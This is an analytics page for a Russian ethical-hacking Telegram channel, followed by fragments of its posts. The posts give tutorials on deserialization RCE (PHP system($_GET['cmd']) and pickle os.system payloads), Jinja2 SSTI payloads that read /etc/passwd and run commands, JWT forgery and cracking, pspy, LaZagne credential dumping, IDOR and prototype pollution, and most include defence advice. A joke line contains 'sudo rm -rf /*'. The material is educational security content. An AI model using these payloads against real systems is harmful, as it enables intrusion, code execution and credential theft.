CodeGuard: PySec Edition
Канал по ИБ и этичному хакингу. Автор: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Рекламный менеджер: @Diggsale Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
نمایش بیشتر📈 تحلیل کانال تلگرام CodeGuard: PySec Edition
کانال CodeGuard: PySec Edition بازیگری فعال است. در حال حاضر جامعه شامل 14 097 مشترک است و جایگاه 8 760 را در دسته فناوری و برنامهها و رتبه 45 869 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 14 097 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 26 سپتامبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 821 و در ۲۴ ساعت گذشته برابر 0 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 9.98% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 5.58% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 407 بازدید دریافت میکند. در اولین روز معمولاً 786 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 8 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند codeguard, pysec, docker, grep, контейнер تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Канал по ИБ и этичному хакингу.
Автор: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Рекламный менеджер: @Diggsale
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 27 سپتامبر, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
🟢Java: ObjectInputStream.readObject() 🟢PHP: unserialize() 🟢Python: pickle.loads() 🟢.NET: BinaryFormatter2️⃣ Детекция уязвимости Признаки:
🔴 Base64 / бинарные blobs в cookies, headers, body 🔴 Параметры вроде data=, state=, profile= 🔴 Ошибки классов при кривом вводеПример (PHP):
$data = unserialize($_COOKIE['session']);
Тест:
O:8:"stdClass":1:{s:4:"test";s:4:"hack";}
Если приложение падает или реагирует — точка входа найдена.
3️⃣ Эксплуатация (примеры)
PHP:
class Evil {
public function __destruct() {
system($_GET['cmd']);
}
}
Python pickle:
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id",))
pickle.dumps(RCE())
4️⃣ Обход фильтров
🔴 Base64 + gzip 🔴 Использование разрешённых классов 🔴 Type juggling (PHP) 🔴 JSON → object cast 🔴 Partial deserialization5️⃣ Где встречается чаще всего
🟢 Cookies (session, rememberMe) 🟢 JWT с кастомными payload’ами 🟢 Mobile API 🟢 Legacy Java apps 🟢 Microservices (internal trust)6️⃣ Защита
🔴 Никогда не десериализуйте пользовательские данные 🔴 Используйте JSON + строгую схему 🔴 Allowlist классов 🔴 Отключайте опасные форматы (pickle, BinaryFormatter) 🔴 Подписывайте данные (HMAC) 🔴 IDS на gadget patterns😈 CodeGuard: PySec Edition | Чат
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код.
2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask)
Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров
Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов😈 CodeGuard: PySec Edition | Чат
pip install pyjwt
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись.
2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T
3️⃣ Практические команды для пентеста
Генерация слабого токена (тест):
import jwt
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')
print(token)
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов😈 CodeGuard: PySec Edition | Чат
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполненияМинимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis👩💻 CodeGuard: Linux | Чат
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложенияПредставьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker😈 CodeGuard: PySec Edition | Чат
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilegeПолезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
/api/user/123 → /api/user/124И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсыПолезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данныеБыло полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю.
Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, головеНа 2026:
while alive:
learn_something_new()
build_cool_stuff()
touch_grass() # важно
sleep(enough=True) # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто.
В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026 Bugs: Inevitable Opportunities: Enabled Your potential: No limitsHappy New Year, хакеры. 🥂 🔥 CodeGuard | Чат
assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать.
Проблема:
def delete_user(user_id, current_user):
assert current_user.is_admin, "Access denied"
db.delete(user_id)
Выглядит безопасно. Но нет.
Что происходит:
# Разработка — assert работает python app.py # Продакшен с оптимизацией — assert удаляется полностью python -O app.pyФлаг
-O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию.
Проверь прямо сейчас:
import sys
print(sys.flags.optimize) # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасностьПравильно:
def delete_user(user_id, current_user):
if not current_user.is_admin:
raise PermissionError("Access denied")
db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 ТестовНайти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise.
😈 CodeGuard: PySec Edition | Чат